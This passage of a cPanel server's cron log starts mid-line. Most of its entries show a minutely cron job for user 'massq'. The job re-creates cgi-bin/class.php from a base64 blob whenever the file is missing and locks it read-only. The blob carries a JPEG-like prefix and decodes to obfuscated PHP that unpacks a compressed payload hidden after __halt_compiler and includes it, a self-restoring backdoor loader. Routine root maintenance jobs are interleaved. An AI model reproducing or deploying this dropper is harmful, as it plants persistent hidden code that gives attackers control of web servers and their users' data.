lMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:45:01 server CROND[24837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:45:01 server CROND[24838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:45:01 server CROND[24839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:46:01 server CROND[24957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:47:01 server CROND[25108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:48:01 server CROND[25166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:49:01 server CROND[25243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:50:01 server CROND[25304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:50:01 server CROND[25307]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 21:50:01 server CROND[25308]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:50:01 server CROND[25309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:50:01 server CROND[25306]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 21:51:01 server CROND[25422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:52:01 server CROND[25475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:53:02 server CROND[25584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:54:01 server CROND[25740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:55:01 server CROND[25798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:55:01 server CROND[25799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:55:01 server CROND[25800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:56:01 server CROND[25914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:57:01 server CROND[25979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:57:01 server CROND[25980]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
